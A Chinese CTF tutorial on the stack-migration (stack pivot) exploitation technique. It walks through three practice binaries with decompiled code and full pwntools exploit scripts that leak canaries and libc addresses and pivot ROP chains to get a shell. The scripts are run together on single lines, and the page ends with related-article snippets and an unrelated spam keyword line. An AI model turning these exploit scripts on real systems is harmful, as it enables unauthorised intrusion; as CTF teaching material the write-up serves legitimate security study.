<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一篇文章玩明白Stack-migration

    一顆小胡椒2021-12-22 15:39:54

    前置知識

    Intel匯編,棧溢出利用,基礎rop鏈

    Stack_migration介紹

    當我們發現存在棧溢出漏洞,但是溢出字節非常小,比如0x10的時候我們就需要利用棧遷移,將棧遷移置足夠大的區段去編寫rop鏈

    以達到我們利用的目的。為了方便教學,這里以CTF賽題的形式進行教學。

    典例一 題目給出便于利用的bss段地址或棧地址

    這里我用我出給自己校賽的一道題作為講解,給出了棧的地址

    int __cdecl main(int argc, const char **argv, const char **envp){char buf[208]; // [rsp+0h] [rbp-D0h] BYREF
    puts(&s);puts("系統說罷,便將你渡入一方天地之中,只見天地之間一輪金日懸于九天之上,而在你面前是萬里群山。\n");puts("鈍日斬星劍就在這些山里,自己慢慢找吧,不過本系統可不想等太久,這個明神瞳就送你了!\n");printf("小子拿好了 :%p", buf);puts(&byte_400818); read(0, buf, 0xE0uLL);return puts("神兵已得,接下來,就去手刃你的第一個仇人吧,萬陽帝仙!\n");}
    

    這里是剛好溢出了0x10,并且給出了當前變量所處的棧地址,對于這種題目,都是直接套路殺的,而且這題沒有開啟canary和pie

    我們只需要和往常一樣先編寫好rop鏈,再利用leave命令把棧遷移到到所給的bss段或者棧地址上

    payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)
    

    第一次是泄露libc,第二次就是直接getshell

    exp

    # -*- coding: UTF-8 –*-from pwn import *r=process('./1')elf=ELF('./1')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')#context.log_level='debug'puts_got=elf.got['puts']puts_plt=elf.plt['puts']pop_rdi=0x0000000000400663leave=0x4005F8main=0x0400577ret=0x000000000040044er.recvuntil('小子拿好了 :')leak=int(r.recv(14),16)log.success('leak:'+hex(leak))
    payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)
    r.recvuntil("搬山之術?\n")r.send(payload)r.recvuntil('神兵已得,接下來,就去手刃你的第一個仇人吧,萬陽帝仙!\n')(r.recvuntil('\n'))leak1=u64(r.recv(6).ljust(8,'\x00'))
    log.success('leak1:'+hex(leak1))
    base=leak1-0x080aa0onegadget=[0x4f3d5,0x4f432,0x10a41c]sys=base+0x04f550one=onegadget[2]+basesh=0x1b3e1a+baser.recvuntil('小子拿好了 :')leak2=int(r.recv(14),16)log.success('leak2:'+hex(leak2))
    payload1='a'*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys)#payload1='a'*8+p64(one)payload1+='a'*(0xd0-len(payload1))+p64(leak2)+p64(leave)
    r.send(payload1)
    r.interactive()
    

    典例二 題目開啟了canary并且沒有給定合理的地址

    對于這種題目實際上只是遷移的地點要自己進行gdb調試(摁調)還有就是leave指令稍微加了點細節從read函數那下手

    本質是和典例一沒差別的,都是屬于棧遷移。這里用一道自己寫的demo作為教學

    int __cdecl main(int argc, const char **argv, const char **envp){int i; // [rsp+Ch] [rbp-24h]char v6[24]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v7; // [rsp+28h] [rbp-8h]
     v7 = __readfsqword(0x28u); init(argc, argv, envp);for ( i = 0; i <= 24; ++i ){if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 )  {     v6[i] = 0;break;  }}printf("your in put%s\n", v6);puts("give me another worlds!"); pwnme();return __readfsqword(0x28u) ^ v7;}
    

    在printf("your in put%s\n", v6);這可以泄露canary,我們接著去看pwnme函數

    unsigned __int64 pwnme(){char buf[24]; // [rsp+0h] [rbp-20h] BYREFunsigned __int64 v2; // [rsp+18h] [rbp-8h]
     v2 = __readfsqword(0x28u); read(0, buf, 0x30uLL);return __readfsqword(0x28u) ^ v2;}
    

    同樣溢出0x10,但是這次沒有給定便于利用的題目,所以我們直接自己手動尋找,用ida ctrl+s 尋找到bss段的起始地址

    一般利用地址都是大于bss起始地址最少0x300,具體如何要看自己的題目情況去調試

    這里最主要的一點是接下來要講的關于read函數的部分匯編利用

    .text:00000000004006FE                 lea     rax, [rbp+buf].text:0000000000400702                 mov     edx, 30h ; '0' ; nbytes.text:0000000000400707                 mov     rsi, rax       ; buf.text:000000000040070A                 mov     edi, 0         ; fd.text:000000000040070F                 mov     eax, 0.text:0000000000400714                 call    _read
    

    正常像典例一我們不去開啟canary,構造一個rop鏈最少都要0x20,這里開啟了canary而且題目所給的變量長度只有0x20,可讀入0x30

    rop鏈構造完canary都不用填返回地址直接寄了,所以這里的要巧妙利用read的leave。

    pl = 'a'*24+p64(canary)+p64(bss)+p64(reread
    

    第一次先選中心儀的bss段把棧遷移上去,由于我們執行的匯編是在.text:00000000004006FE                 lea     rax, [rbp+buf]

    當我們棧遷移完了此時還可以有一次讀入的機會,這時候的讀入地址就是我們選擇的bss段地址。

    此時我們就可以寫入rop鏈達到libc泄露的目的

    pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread)pl = pl.ljust(24,'\x00')
    

    得到libc之后直接恢復棧

    pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave)sleep(0.1)s(pl)
    

    第一個是rip的地址第二個是用來填充rbp第三個是填充返回地址的,0x6015d8是通過調試之后得知的最后恢復棧的時候

    命令的起始地址

    pwndbg> stack 3000:0000│ rsp 0x6015c8 —? 0x400719 (pwnme+50) ?— nop01:0008│ rsi 0x6015d0 ?— 0x0... ↓        2 skipped04:0020│     0x6015e8 ?— 0x27ce95767da5b40005:0028│ rbp 0x6015f0 ?— 0x006:0030│     0x6015f8 —? 0x40083b (main+171) ?— nop07:0038│     0x601600 ?— 0x008:0040│     0x601608 —? 0x40083b (main+171) ?— nop09:0048│     0x601610 ?— 0x27ce95767da5b4000a:0050│     0x601618 —? 0x6015d8 ?— 0x00b:0058│     0x601620 —? 0x40072e (pwnme+71) ?— leave0c:0060│     0x601628 ?— 0x0... ↓        17 skipped
    

    我們可以繼續結合匯編來看

    .text:0000000000400831                 mov     eax, 0.text:0000000000400836                 call    pwnme.text:000000000040083B                 nop.text:000000000040083C                 mov     rax, [rbp+var_8].text:0000000000400840                 xor     rax, fs:28h.text:0000000000400849                 jz      short locret_400850.text:000000000040084B                 call    ___stack_chk_fail
    

    rip執行mov     eax, 0返回地址在.text:000000000040083B                 nop把canary填充做一個修補(第一次泄露的時候已經破壞了)

    恢復完棧幀我們利用恢復的時候順帶遷移會去的bss段再去寫入onegadget就直接getshell了

    exp

    import timefrom pwn import *context.arch = 'amd64'context.log_level = 'debug'
    r = lambda : p.recv()rx = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rud = lambda x: p.recvuntil(x, drop=True)s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)close = lambda : p.close()debug = lambda : gdb.attach(p)shell = lambda : p.interactive()
    p = process('./Stack_migration')#p=remote('101.43.94.145','28079')elf = ELF('./Stack_migration')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")puts_got = elf.got['puts']puts_plt = elf.plt['puts']reread = 0x4006FEleave = 0x40072Ebss = 0x601600rdi = 0x00000000004008c3start = 0x400600
    s('a'*25)ru('a'*25)canary = u64('\x00'+rx(7))success(hex(canary))#p.recv()pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)p.recv()s(pl)pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread)pl = pl.ljust(24,'\x00')sleep(0.1)s(pl)pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave)sleep(0.1)s(pl)base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']ogg = base+0x4f3d5
    pl = 'a'*24+p64(canary)+p64(0)+p64(ogg)s(pl)# debug()shell()
    

    典例三 C++類的棧遷移

    雖然線上賽不一定見得到,但是線下賽c++的趨勢已經越來越明顯了,不學c++你會失去很多你本該拿到的東西

    這個也是我自己整理的一個demo,先看ida

    int __cdecl main(int argc, const char **argv, const char **envp){ __int64 v3; // rax __int64 v4; // rax __int64 v5; // rax __int64 v6; // raxchar s2[32]; // [rsp+0h] [rbp-20h] BYREF
     init();do{   v3 = std::operator<<<std::char_traits<char>>(          &std::cout,"The new year is coming, and the naughty beast has come to the world again. As a brave pwner, please send it home");std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);   v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Little ones, throw up your firecrackers!!!!!!!");std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);std::operator>><char,std::char_traits<char>>(&std::cin, name);if ( strlen(name) > 0x10 )  {     v5 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_4020B8);std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);exit(0);  }   getchar();   v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Do you wanna try again?");std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);std::istream::get((std::istream *)&std::cin, s2, 0x30LL);}while ( !strcmp("Y", s2) );return 0;}
    

    不熟悉的人看可能感覺很亂,其實有些東西是可以不看的例如

    std::operator<<<std::char_traits<char>>std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
    

    這些不過是c++自己的一些數據處理,我們要關注的是

    std::operator<<<std::char_traits<char>>這個函數里面的參數,例如下面這個std::istream::get((std::istream *)&std::cin, s2, 0x30LL);cin輸入,往s2輸入0x30大小的內容,類比可以看出輸出的語句
    

    順帶提一嘴,c++的輸入輸出都是靠std::operator<<std::char_traits<char>這個函數實現的,實現內容區別就在于第一個參數

    cout就是輸出cin就是輸入,后面的參數再添加對應的就是cout的內容或者cin的內容及大小

    OK 我們回歸正題,分析程序可以得知

    v5 = std::operator<<std::char_traits<char>(&std::cout, &unk_4020B8);

    可能存在棧溢出cin沒有做大小限制,但是他是在往bss段讀入東西,所以沒有溢出的可能性

    std::istream::get((std::istream *)&std::cin, s2, 0x30LL);

    這里溢出了0x10,可以棧遷移

    那么結合起來就是先往bss段構造rop,利用棧遷移執行就行了,至于if ( strlen(name) > 0x10 )這個檢測,我們直接填入0字節就可以繞過

    剩余的操作無非就和典例一是一樣的,這里注意的是c++的函數參數填充關系即可

    pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main)
    

    填充0x900的junk code 用來繞過以及填充到合適的地方布局,ret*0x20用來抬棧,這個看情況而定,本題不抬棧會破壞棧結構無法正確的傳入參數,rdi,cout,rsi,setbuf,0,std,main這里翻譯過來就是如下

    std(cout,setbuf.got,0) 返回地址是main。

    以上操作泄露了libc直接亂殺了,第二次棧遷移就是直接構造getshell的rop鏈就行了

    exp

    from pwn import *#r=process('./boom')r=remote('47.107.51.210',6790)context.log_level='debug'context.arch = 'amd64'rdi=0x00000000004014c3rsi=0x00000000004014c1ret=0x00000000004014c4main=0x4012DAstd=0x401130setbuf=0x404018cout=0x4040C0bss=0x0404320leave=0x4013F8r.recv()pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main)r.sendline(pay)r.recv()pay=flat('\x00'*0x20,bss+0x900,leave)r.sendline(pay)r.recvuntil("Do you wanna try again?\n")libc=u64(r.recv(6)+b'\x00'*2)-0x087e60sys=libc+0x055410sh=libc+0x1b75aaprint(hex(libc))r.recv()pay=flat('\x00'*0x600,ret*0x20,rdi,sh,ret,sys,main)r.sendline(pay)r.recv()pay=flat('\x00'*0x20,bss+0x600,leave)r.sendline(pay)r.interactive()
    
    lambdachar
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    準備◆iOS 12.5.5◆frida 14.0.0◆ipa 5rG96L2m5LmL5a62 11.33.5抓包1.抓包使用 charles,請自行安裝并配置證書。使用假賬密測試抓包 123456 / 123456,能夠抓包成功。分析1、登錄頁面需要輸入3個信息,分別是賬號 / 密碼 / 驗證碼,對應字段 logincode / userpwd / validcode。
    從某新生賽入門PWN
    2022-11-26 16:02:34
    本文為看雪論壇優秀文章看雪論壇作者ID:bad_c0de在某平臺上看到了質量不錯的新生賽,難度也比較適宜,因此嘗試通過該比賽進行入門,也將自己所學分享給大家。賽題ezcmp賽題分析該程序的C代碼如下,因此我們只要使buff和test的前三十個字節相同即可。因此可以直接在比較處下斷點查看buff數組的值即可。#includechar buff[100];int v0;char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";char bua[]="abcdefghijklmnopqrstuvwxyz4321";char* enccrypt{ int a; for{ a=rand(); buf[i]^=buffff[i]; buff[i]^=bua[i]; for{ buf[j]=buff[i]; buf[i]+='2'; } buf[i]-=&0xff; buf[i]+=&0xff; }}int main(){ setbuf; setbuf; setbuf; puts; char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss"; strcpy; char test[30]; int v0=1; srand; enccrypt; read; if(!ezr0p64賽題分析查看保護同理可以通過rop進行繞過。
    2021安洵杯PWN WP詳解
    2021-12-29 16:41:08
    做了2021安洵杯線上賽題目,總體來說題目有簡單有難的,難易程度合適,這次就做了pwn,把四道pwn題思路總結一下,重點是沒幾個人做出來的最后一道pwnsky,賽后做了復現。
    MyBatis-Plus是一個 MyBatis 的增強工具,在 MyBatis 的基礎上只做增強不做改變,為簡化開發、提高效率而生。真實開發中,version(樂觀鎖),deleted、gmt_create、gem_mo
    賽時有考慮過ret to dl_resolve的做法,在網上查了下也沒發現有相關的文章,當時也沒有詳細研究,這次趁著期末考前有空,仔細琢磨了一下。
    在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。
    某視頻app的學習記錄
    2022-01-03 16:58:52
    這個看見有人說有個版本開始不能截了,我這邊一直都是換證書的,沒感覺有影響,估計我下的是盜版,碰到再看了。先新建一個自己的測試app,接著的工作就是搬代碼了,直接導出所有的反編譯代碼
    前置知識Intel匯編,棧溢出利用,基礎rop鏈Stack_migration介紹當我們發現存在棧溢出漏洞,但是溢出字節非常小,比如0x10的時候我們就需要利用棧遷移,將棧遷移置足夠大的區段去編寫rop鏈以達到我們利用的目的。為了方便教學,這里以CTF賽題的形式進行教學。
    Kernel PWN從入門到提升
    2023-03-23 10:17:57
    所以我決定用此文章結合一道不錯的例題盡可能詳細的來講一下kernel pwn從入門過渡到較高難度的部分,供想要學習kernel pwn的小伙伴們參考。文件系統kernel題一般都會給出一個打包好的文件系統,因此需要掌握常用到的打包/解包命令。
    House of Cat5月份偶然發現的一種新型GLIBC中IO利用思路,目前適用于任何版本,命名為House of cat并出在2022強網杯中。但是需要攻擊位于TLS的_pointer_chk_guard,并且遠程可能需要爆破TLS偏移。并且house of cat在FSOP的情況下也是可行的,只需修改虛表指針的偏移來調用_IO_wfile_seekoff即可。vtable檢查在glibc2.24以后加入了對虛函數的檢測,在調用虛函數之前首先會檢查虛函數地址的合法性。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类